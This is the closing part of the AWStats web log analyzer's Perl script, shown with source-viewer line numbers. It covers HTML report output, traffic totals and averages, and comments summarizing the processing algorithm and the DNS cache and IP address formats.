                print "<a name=\"top\"></a>\n\n";
 
20140
                my $newhead = $HTMLHeadSection;
 
20141
                $newhead =~ s/\\n/\n/g;
 
20142
                print "$newhead\n";
 
20143
                print "\n";
 
20144
        }
 
20145
 
 
20146
        # Call to plugins' function AddHTMLBodyHeader
 
20147
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) {
 
20148
                my $function = "AddHTMLBodyHeader_$pluginname";
 
20149
                &$function();
 
20150
        }
 
20151
 
 
20152
        my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
 
20153
 
 
20154
        # TOP BAN
 
20155
        #---------------------------------------------------------------------
 
20156
        if ( $ShowMenu || $FrameName eq 'mainleft' ) {
 
20157
                HTMLTopBanner($WIDTHMENU1);
 
20158
        }
 
20159
 
 
20160
        # Call to plugins' function AddHTMLMenuHeader
 
20161
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) {
 
20162
                my $function = "AddHTMLMenuHeader_$pluginname";
 
20163
                &$function();
 
20164
        }
 
20165
 
 
20166
        # MENU (ON LEFT IF FRAME OR TOP)
 
20167
        #---------------------------------------------------------------------
 
20168
        if ( $ShowMenu || $FrameName eq 'mainleft' ) {
 
20169
                HTMLMenu($NewLinkParams, $NewLinkTarget);
 
20170
        }
 
20171
 
 
20172
        # Call to plugins' function AddHTMLMenuFooter
 
20173
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) {
 
20174
                my $function = "AddHTMLMenuFooter_$pluginname";
 
20175
                &$function();
 
20176
        }
 
20177
 
 
20178
        # Exit if left frame
 
20179
        if ( $FrameName eq 'mainleft' ) {
 
20180
                &html_end(0);
 
20181
                exit 0;
 
20182
        }
 
20183
 
 
20184
        
 
20185
 
 
20186
# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
 
20187
        $TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0;
 
20188
        $TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
 
20189
        $TotalHostsKnown = $TotalHostsUnknown = 0;
 
20190
        my $beginmonth = $MonthRequired;
 
20191
        my $endmonth   = $MonthRequired;
 
20192
        if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; }
 
20193
        for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) {
 
20194
                my $monthix = sprintf( "%02s", $month );
 
20195
                $TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix }
 
20196
                  || 0;    # Wrong in year view
 
20197
                $TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix }
 
20198
                  || 0;    # Wrong in year view
 
20199
                $TotalUnique += $MonthUnique{ $YearRequired . $monthix }
 
20200
                  || 0;    # Wrong in year view
 
20201
                $TotalVisits += $MonthVisits{ $YearRequired . $monthix }
 
20202
                  || 0;    # Not completely true
 
20203
                $TotalPages += $MonthPages{ $YearRequired . $monthix } || 0;
 
20204
                $TotalHits  += $MonthHits{ $YearRequired . $monthix }  || 0;
 
20205
                $TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0;
 
20206
                $TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix }
 
20207
                  || 0;
 
20208
                $TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix }
 
20209
                  || 0;
 
20210
                $TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix }
 
20211
                  || 0;
 
20212
        }
 
20213
 
 
20214
        # TotalHitsErrors TotalBytesErrors
 
20215
        $TotalHitsErrors  = 0;
 
20216
        my $TotalBytesErrors = 0;
 
20217
        foreach ( keys %_errors_h ) {
 
20218
 
 
20219
                #               print "xxxx".$_." zzz".$_errors_h{$_};
 
20220
                $TotalHitsErrors  += $_errors_h{$_};
 
20221
                $TotalBytesErrors += $_errors_k{$_};
 
20222
        }
 
20223
 
 
20224
# TotalEntries (if not already specifically counted, we init it from _url_e hash table)
 
20225
        if ( !$TotalEntries ) {
 
20226
                foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; }
 
20227
        }
 
20228
 
 
20229
# TotalExits (if not already specifically counted, we init it from _url_x hash table)
 
20230
        if ( !$TotalExits ) {
 
20231
                foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; }
 
20232
        }
 
20233
 
 
20234
# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
 
20235
        if ( !$TotalBytesPages ) {
 
20236
                foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; }
 
20237
        }
 
20238
 
 
20239
# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
 
20240
        if ( !$TotalKeyphrases ) {
 
20241
                foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; }
 
20242
        }
 
20243
 
 
20244
# TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
 
20245
        if ( !$TotalKeywords ) {
 
20246
                foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; }
 
20247
        }
 
20248
 
 
20249
# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
 
20250
        if ( !$TotalSearchEnginesPages ) {
 
20251
                foreach ( keys %_se_referrals_p ) {
 
20252
                        $TotalSearchEnginesPages += $_se_referrals_p{$_};
 
20253
                }
 
20254
        }
 
20255
 
 
20256
# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
 
20257
        if ( !$TotalSearchEnginesHits ) {
 
20258
                foreach ( keys %_se_referrals_h ) {
 
20259
                        $TotalSearchEnginesHits += $_se_referrals_h{$_};
 
20260
                }
 
20261
        }
 
20262
 
 
20263
# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
 
20264
        if ( !$TotalRefererPages ) {
 
20265
                foreach ( keys %_pagesrefs_p ) {
 
20266
                        $TotalRefererPages += $_pagesrefs_p{$_};
 
20267
                }
 
20268
        }
 
20269
 
 
20270
# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
 
20271
        if ( !$TotalRefererHits ) {
 
20272
                foreach ( keys %_pagesrefs_h ) {
 
20273
                        $TotalRefererHits += $_pagesrefs_h{$_};
 
20274
                }
 
20275
        }
 
20276
 
 
20277
# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
 
20278
        $TotalDifferentPages ||= scalar keys %_url_p;
 
20279
 
 
20280
# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
 
20281
        $TotalDifferentKeyphrases ||= scalar keys %_keyphrases;
 
20282
 
 
20283
# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
 
20284
        $TotalDifferentKeywords ||= scalar keys %_keywords;
 
20285
 
 
20286
# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
 
20287
        $TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h;
 
20288
 
 
20289
# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
 
20290
        $TotalDifferentReferer ||= scalar keys %_pagesrefs_h;
 
20291
 
 
20292
# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
 
20293
        my $firstdaytocountaverage =
 
20294
          $nowyear . $nowmonth . "01";    # Set day cursor to 1st day of month
 
20295
        my $firstdaytoshowtime =
 
20296
          $nowyear . $nowmonth . "01";    # Set day cursor to 1st day of month
 
20297
        my $lastdaytocountaverage =
 
20298
          $nowyear . $nowmonth . $nowday;    # Set day cursor to today
 
20299
        my $lastdaytoshowtime =
 
20300
          $nowyear . $nowmonth . "31";       # Set day cursor to last day of month
 
20301
        if ( $MonthRequired eq 'all' ) {
 
20302
                $firstdaytocountaverage =
 
20303
                  $YearRequired
 
20304
                  . "0101";    # Set day cursor to 1st day of the required year
 
20305
        }
 
20306
        if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
 
20307
                || $YearRequired ne $nowyear )
 
20308
        {
 
20309
                if ( $MonthRequired eq 'all' ) {
 
20310
                        $firstdaytocountaverage =
 
20311
                          $YearRequired
 
20312
                          . "0101";    # Set day cursor to 1st day of the required year
 
20313
                        $firstdaytoshowtime =
 
20314
                          $YearRequired . "1201"
 
20315
                          ;    # Set day cursor to 1st day of last month of required year
 
20316
                        $lastdaytocountaverage =
 
20317
                          $YearRequired
 
20318
                          . "1231";    # Set day cursor to last day of the required year
 
20319
                        $lastdaytoshowtime =
 
20320
                          $YearRequired . "1231"
 
20321
                          ;    # Set day cursor to last day of last month of required year
 
20322
                }
 
20323
                else {
 
20324
                        $firstdaytocountaverage =
 
20325
                            $YearRequired
 
20326
                          . $MonthRequired
 
20327
                          . "01";    # Set day cursor to 1st day of the required month
 
20328
                        $firstdaytoshowtime =
 
20329
                            $YearRequired
 
20330
                          . $MonthRequired
 
20331
                          . "01";    # Set day cursor to 1st day of the required month
 
20332
                        $lastdaytocountaverage =
 
20333
                            $YearRequired
 
20334
                          . $MonthRequired
 
20335
                          . "31";    # Set day cursor to last day of the required month
 
20336
                        $lastdaytoshowtime =
 
20337
                            $YearRequired
 
20338
                          . $MonthRequired
 
20339
                          . "31";    # Set day cursor to last day of the required month
 
20340
                }
 
20341
        }
 
20342
        if ($Debug) {
 
20343
                debug(
 
20344
"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",
 
20345
                        1
 
20346
                );
 
20347
                debug(
 
20348
"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",
 
20349
                        1
 
20350
                );
 
20351
        }
 
20352
 
 
20353
        # Call to plugins' function AddHTMLContentHeader
 
20354
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } )
 
20355
        {
 
20356
                # to add unique visitors & number of visits, by J Ruano @ CAPSiDE
 
20357
                if ( $ShowDomainsStats =~ /U/i ) {
 
20358
                        print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
 
20359
                }
 
20360
                if ( $ShowDomainsStats =~ /V/i ) {
 
20361
                        print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
 
20362
                }
 
20363
 
 
20364
                my $function = "AddHTMLContentHeader_$pluginname";
 
20365
                &$function();
 
20366
        }
 
20367
 
 
20368
        # Output individual frames or static pages for specific sections
 
20369
        #-----------------------
 
20370
        if ( scalar keys %HTMLOutput == 1 ) {
 
20371
 
 
20372
                if ( $HTMLOutput{'alldomains'} ) {
 
20373
                        &HTMLShowDomains();
 
20374
                }
 
20375
                if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
 
20376
                        &HTMLShowHosts();
 
20377
                }
 
20378
                if ( $HTMLOutput{'unknownip'} ) {
 
20379
                        &HTMLShowHostsUnknown();
 
20380
                }
 
20381
                if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
 
20382
                        &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
 
20383
                        &html_end(1);
 
20384
                }
 
20385
                if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
 
20386
                        &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
 
20387
                        &html_end(1);
 
20388
                }
 
20389
                if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) {
 
20390
                        &HTMLShowLogins();
 
20391
                }
 
20392
                if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) {
 
20393
                        &HTMLShowRobots();
 
20394
                }
 
20395
                if (   $HTMLOutput{'urldetail'}
 
20396
                        || $HTMLOutput{'urlentry'}
 
20397
                        || $HTMLOutput{'urlexit'} )
 
20398
                {
 
20399
                        &HTMLShowURLDetail();
 
20400
                }
 
20401
                if ( $HTMLOutput{'unknownos'} ) {
 
20402
                        &HTMLShowOSUnknown();
 
20403
                }
 
20404
                if ( $HTMLOutput{'unknownbrowser'} ) {
 
20405
                        &HTMLShowBrowserUnknown();
 
20406
                }
 
20407
                if ( $HTMLOutput{'osdetail'} ) {
 
20408
                        &HTMLShowOSDetail();
 
20409
                }
 
20410
                if ( $HTMLOutput{'browserdetail'} ) {
 
20411
                        &HTMLShowBrowserDetail();
 
20412
                }
 
20413
                if ( $HTMLOutput{'refererse'} ) {
 
20414
                        &HTMLShowReferers();
 
20415
                }
 
20416
                if ( $HTMLOutput{'refererpages'} ) {
 
20417
                        &HTMLShowRefererPages();
 
20418
                }
 
20419
                if ( $HTMLOutput{'keyphrases'} ) {
 
20420
                        &HTMLShowKeyPhrases();
 
20421
                }
 
20422
                if ( $HTMLOutput{'keywords'} ) {
 
20423
                        &HTMLShowKeywords();
 
20424
                }
 
20425
                if ( $HTMLOutput{'downloads'} ) {
 
20426
                        &HTMLShowDownloads();
 
20427
                }
 
20428
                foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
 
20429
                        if ( $HTMLOutput{"errors$code"} ) {
 
20430
                                &HTMLShowErrorCodes($code);
 
20431
                        }
 
20432
                }
 
20433
 
 
20434
                # BY EXTRA SECTIONS
 
20435
                #----------------------------
 
20436
                HTMLShowExtraSections();
 
20437
                
 
20438
                if ( $HTMLOutput{'info'} ) {
 
20439
                        # TODO Not yet available
 
20440
                        print "$Center<a name=\"info\">&nbsp;</a><br />";
 
20441
                        &html_end(1);
 
20442
                }
 
20443
 
 
20444
                # Print any plugins that have individual pages
 
20445
                # TODO - change name, graph isn't so descriptive
 
20446
                my $htmloutput = '';
 
20447
                foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; }
 
20448
                if ( $htmloutput =~ /^plugin_(\w+)$/ ) {
 
20449
                        my $pluginname = $1;
 
20450
                        print "$Center<a name=\"plugin_$pluginname\">&nbsp;</a><br />";
 
20451
                        my $function = "AddHTMLGraph_$pluginname";
 
20452
                        &$function();
 
20453
                        &html_end(1);
 
20454
                }
 
20455
        }
 
20456
 
 
20457
        # Output main page
 
20458
        #-----------------
 
20459
        if ( $HTMLOutput{'main'} ) {
 
20460
                
 
20461
                # Calculate averages
 
20462
                my $max_p = 0;
 
20463
                my $max_h = 0;
 
20464
                my $max_k = 0;
 
20465
                my $max_v = 0;
 
20466
                my $average_nb = 0;
 
20467
                foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage )
 
20468
                {
 
20469
                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
 
20470
                        my $year  = $1;
 
20471
                        my $month = $2;
 
20472
                        my $day   = $3;
 
20473
                        if ( !DateIsValid( $day, $month, $year ) ) {
 
20474
                                next;
 
20475
                        }                 # If not an existing day, go to next
 
20476
                        $average_nb++;    # Increase number of day used to count
 
20477
                        $AverageVisits += ( $DayVisits{$daycursor} || 0 );
 
20478
                        $AveragePages += ( $DayPages{$daycursor}  || 0 );
 
20479
                        $AverageHits += ( $DayHits{$daycursor}   || 0 );
 
20480
                        $AverageBytes += ( $DayBytes{$daycursor}  || 0 );
 
20481
                }
 
20482
                if ($average_nb) {
 
20483
                        $AverageVisits = $AverageVisits / $average_nb;
 
20484
                        $AveragePages = $AveragePages / $average_nb;
 
20485
                        $AverageHits = $AverageHits / $average_nb;
 
20486
                        $AverageBytes = $AverageBytes / $average_nb;
 
20487
                        if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; }
 
20488
                        #if ($average_p > $max_p) { $max_p=$average_p; }
 
20489
                        if ( $AverageHits > $max_h ) { $max_h = $AverageHits; }
 
20490
                        if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; }
 
20491
                }
 
20492
                else {
 
20493
                        $AverageVisits = "?";
 
20494
                        $AveragePages = "?";
 
20495
                        $AverageHits = "?";
 
20496
                        $AverageBytes = "?";
 
20497
                }
 
20498
 
 
20499
                # SUMMARY
 
20500
                #---------------------------------------------------------------------
 
20501
                if ($ShowSummary) {
 
20502
                        &HTMLMainSummary();
 
20503
                }
 
20504
 
 
20505
                # BY MONTH
 
20506
                #---------------------------------------------------------------------
 
20507
                if ($ShowMonthStats) {
 
20508
                        &HTMLMainMonthly();
 
20509
                }
 
20510
 
 
20511
                print "\n<a name=\"when\">&nbsp;</a>\n\n";
 
20512
 
 
20513
                # BY DAY OF MONTH
 
20514
                #---------------------------------------------------------------------
 
20515
                if ($ShowDaysOfMonthStats) {
 
20516
                        &HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage,
 
20517
                                                  $firstdaytoshowtime, $lastdaytoshowtime);
 
20518
                }
 
20519
 
 
20520
                # BY DAY OF WEEK
 
20521
                #-------------------------
 
20522
                if ($ShowDaysOfWeekStats) {
 
20523
                        &HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage);
 
20524
                }
 
20525
 
 
20526
                # BY HOUR
 
20527
                #----------------------------
 
20528
                if ($ShowHoursStats) {
 
20529
                        &HTMLMainHours();
 
20530
                }
 
20531
 
 
20532
                print "\n<a name=\"who\">&nbsp;</a>\n\n";
 
20533
 
 
20534
                # BY COUNTRY/DOMAIN
 
20535
                #---------------------------
 
20536
                if ($ShowDomainsStats) {
 
20537
                        &HTMLMainCountries($NewLinkParams, $NewLinkTarget);
 
20538
                }
 
20539
 
 
20540
                # BY HOST/VISITOR
 
20541
                #--------------------------
 
20542
                if ($ShowHostsStats) {
 
20543
                        &HTMLMainHosts($NewLinkParams, $NewLinkTarget);
 
20544
                }
 
20545
 
 
20546
                # BY SENDER EMAIL
 
20547
                #----------------------------
 
20548
                if ($ShowEMailSenders) {
 
20549
                        &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
 
20550
                }
 
20551
 
 
20552
                # BY RECEIVER EMAIL
 
20553
                #----------------------------
 
20554
                if ($ShowEMailReceivers) {
 
20555
                        &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
 
20556
                }
 
20557
 
 
20558
                # BY LOGIN
 
20559
                #----------------------------
 
20560
                if ($ShowAuthenticatedUsers) {
 
20561
                        &HTMLMainLogins($NewLinkParams, $NewLinkTarget);
 
20562
                }
 
20563
 
 
20564
                # BY ROBOTS
 
20565
                #----------------------------
 
20566
                if ($ShowRobotsStats) {
 
20567
                        &HTMLMainRobots($NewLinkParams, $NewLinkTarget);
 
20568
                }
 
20569
 
 
20570
                # BY WORMS
 
20571
                #----------------------------
 
20572
                if ($ShowWormsStats) {
 
20573
                        &HTMLMainWorms();
 
20574
                }
 
20575
 
 
20576
                print "\n<a name=\"how\">&nbsp;</a>\n\n";
 
20577
 
 
20578
                # BY SESSION
 
20579
                #----------------------------
 
20580
                if ($ShowSessionsStats) {
 
20581
                        &HTMLMainSessions();
 
20582
                }
 
20583
 
 
20584
                # BY FILE TYPE
 
20585
                #-------------------------
 
20586
                if ($ShowFileTypesStats) {
 
20587
                        &HTMLMainFileType();
 
20588
                }
 
20589
 
 
20590
                # BY FILE SIZE
 
20591
                #-------------------------
 
20592
                if ($ShowFileSizesStats) {
 
20593
                        # TODO
 
20594
                }
 
20595
                
 
20596
                # BY DOWNLOADS
 
20597
                #-------------------------
 
20598
                if ($ShowDownloadsStats) {
 
20599
                        &HTMLMainDownloads($NewLinkParams, $NewLinkTarget);
 
20600
                }
 
20601
 
 
20602
                # BY PAGE
 
20603
                #-------------------------
 
20604
                if ($ShowPagesStats) {
 
20605
                        &HTMLMainPages($NewLinkParams, $NewLinkTarget);
 
20606
                }
 
20607
 
 
20608
                # BY OS
 
20609
                #----------------------------
 
20610
                if ($ShowOSStats) {
 
20611
                        &HTMLMainOS($NewLinkParams, $NewLinkTarget);
 
20612
                }
 
20613
 
 
20614
                # BY BROWSER
 
20615
                #----------------------------
 
20616
                if ($ShowBrowsersStats) {
 
20617
                        &HTMLMainBrowsers($NewLinkParams, $NewLinkTarget);
 
20618
                }
 
20619
 
 
20620
                # BY SCREEN SIZE
 
20621
                #----------------------------
 
20622
                if ($ShowScreenSizeStats) {
 
20623
                        &HTMLMainScreenSize();
 
20624
                }
 
20625
 
 
20626
                print "\n<a name=\"refering\">&nbsp;</a>\n\n";
 
20627
 
 
20628
                # BY REFERENCE
 
20629
                #---------------------------
 
20630
                if ($ShowOriginStats) {
 
20631
                        &HTMLMainReferrers($NewLinkParams, $NewLinkTarget);
 
20632
                }
 
20633
 
 
20634
                print "\n<a name=\"keys\">&nbsp;</a>\n\n";
 
20635
 
 
20636
                # BY SEARCH KEYWORDS AND/OR KEYPHRASES
 
20637
                #-------------------------------------
 
20638
                if ($ShowKeyphrasesStats || $ShowKeywordsStats){
 
20639
                        &HTMLMainKeys($NewLinkParams, $NewLinkTarget);
 
20640
                }       
 
20641
 
 
20642
                print "\n<a name=\"other\">&nbsp;</a>\n\n";
 
20643
 
 
20644
                # BY MISC
 
20645
                #----------------------------
 
20646
                if ($ShowMiscStats) {
 
20647
                        &HTMLMainMisc();
 
20648
                }
 
20649
 
 
20650
                # BY HTTP STATUS
 
20651
                #----------------------------
 
20652
                if ($ShowHTTPErrorsStats) {
 
20653
                        &HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget);
 
20654
                }
 
20655
 
 
20656
                # BY SMTP STATUS
 
20657
                #----------------------------
 
20658
                if ($ShowSMTPErrorsStats) {
 
20659
                        &HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget);
 
20660
                }
 
20661
 
 
20662
                # BY CLUSTER
 
20663
                #----------------------------
 
20664
                if ($ShowClusterStats) {
 
20665
                        &HTMLMainCluster($NewLinkParams, $NewLinkTarget);
 
20666
                }
 
20667
 
 
20668
                # BY EXTRA SECTIONS
 
20669
                #----------------------------
 
20670
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
 
20671
                        &HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum);
 
20672
                }
 
20673
 
 
20674
                # close the HTML page
 
20675
                &html_end(1);
 
20676
        }
 
20677
}
 
20678
else {
 
20679
        print "Jumped lines in file: $lastlinenb\n";
 
20680
        if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
 
20681
        print "Parsed lines in file: $NbOfLinesParsed\n";
 
20682
        print " Found $NbOfLinesDropped dropped records,\n";
 
20683
        print " Found $NbOfLinesComment comments,\n";
 
20684
        print " Found $NbOfLinesBlank blank records,\n";
 
20685
        print " Found $NbOfLinesCorrupted corrupted records,\n";
 
20686
        print " Found $NbOfOldLines old records,\n";
 
20687
        print " Found $NbOfNewLines new qualified records.\n";
 
20688
}
 
20689
 
 
20690
 
 
20691
#sleep 10;
 
20692
 
 
20693
0;    # Do not remove this line
 
20694
 
 
20695
#-------------------------------------------------------
 
20696
# ALGORITHM SUMMARY
 
20697
#
 
20698
# Read_Config();
 
20699
# Check_Config() and Init variables
 
20700
# if 'frame not index'
 
20701
#       &Read_Language_Data($Lang);
 
20702
#       if 'frame not mainleft'
 
20703
#               &Read_Ref_Data();
 
20704
#               &Read_Plugins();
 
20705
# html_head
 
20706
#
 
20707
# If 'migrate'
 
20708
#   We create/update tmp file with
 
20709
#     &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
 
20710
#   Rename the tmp file
 
20711
#   html_end
 
20712
#   Exit
 
20713
# End of 'migrate'
 
20714
#
 
20715
# Get last history file name
 
20716
# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
 
20717
#       &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
 
20718
#
 
20719
# &Init_HashArray()
 
20720
#
 
20721
# If 'update'
 
20722
#   Loop on each new line in log file
 
20723
#     lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
 
20724
#     If line corrupted, skip --> next on loop
 
20725
#         Drop wrong virtual host --> next on loop
 
20726
#     Drop wrong method/protocol --> next on loop
 
20727
#     Check date --> next on loop
 
20728
#     If line older than $LastLine, skip --> next on loop
 
20729
#     So it's new line
 
20730
#     $LastLine = time or record
 
20731
#     Skip if url is /robots.txt --> next on loop
 
20732
#     Skip line for @SkipHosts --> next on loop
 
20733
#     Skip line for @SkipFiles --> next on loop
 
20734
#     Skip line for @SkipUserAgent --> next on loop
 
20735
#     Skip line for not @OnlyHosts --> next on loop
 
20736
#     Skip line for not @OnlyUsers --> next on loop
 
20737
#     Skip line for not @OnlyFiles --> next on loop
 
20738
#     Skip line for not @OnlyUserAgent --> next on loop
 
20739
#     So it's new line approved
 
20740
#     If other month/year, create/update tmp file and purge data arrays with
 
20741
#       &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
 
20742
#     Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
 
20743
#     Define PageBool and extension
 
20744
#     Analyze: Misc tracker --> complete %misc
 
20745
#     Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere)
 
20746
#     If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
 
20747
#     If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
 
20748
#     If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
 
20749
#     If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
 
20750
#     If (!countedtraffic) Analyze: File types - Compression
 
20751
#     If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
 
20752
#     If (!countedtraffic) Analyze: Login
 
20753
#     If (!countedtraffic) Do DNS Lookup
 
20754
#     If (!countedtraffic) Analyze: Country
 
20755
#     If (!countedtraffic) Analyze: Host - Url - Session
 
20756
#     If (!countedtraffic) Analyze: Browser - OS
 
20757
#     If (!countedtraffic) Analyze: Referer
 
20758
#     If (!countedtraffic) Analyze: EMail
 
20759
#     Analyze: Cluster
 
20760
#     Analyze: Extra (must be after 'Define a clean Url and Query')
 
20761
#     If too many records, we flush data arrays with
 
20762
#       &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
 
20763
#   End of loop
 
20764
#
 
20765
#   Create/update tmp file
 
20766
#         Seek to lastlineoffset in logfile to read and get last line into $_
 
20767
#         &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
 
20768
#   Rename all created tmp files
 
20769
# End of 'update'
 
20770
#
 
20771
# &Init_HashArray()
 
20772
#
 
20773
# If 'output'
 
20774
#   Loop for each month of required year
 
20775
#     &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
 
20776
#   End of loop
 
20777
#   Show data arrays in HTML page
 
20778
#   html_end
 
20779
# End of 'output'
 
20780
#-------------------------------------------------------
 
20781
 
 
20782
#-------------------------------------------------------
 
20783
# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
 
20784
# Format /etc/hosts     x.y.z.w hostname
 
20785
# Format analog         UT/60 x.y.z.w hostname
 
20786
#-------------------------------------------------------
 
20787
 
 
20788
#-------------------------------------------------------
 
20789
# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
 
20790
#
 
20791
# 13.1.68.3                                             IPv4 (d.d.d.d)
 
20792
# 0:0:0:0:0:0:13.1.68.3                 IPv6 (x:x:x:x:x:x:d.d.d.d)
 
20793
# ::13.1.68.3
 
20794
# 0:0:0:0:0:FFFF:13.1.68.3              IPv6 (x:x:x:x:x:x:d.d.d.d)
 
20795
# ::FFFF:13.1.68.3                              IPv6
 
20796
#
 
20797
# 1070:0:0:0:0:800:200C:417B    IPv6
 
20798
# 1070:0:0:0:0:800:200C:417B    IPv6
 
20799
# 1070::800:200C:417B                   IPv6
 
20800
#-------------------------------------------------------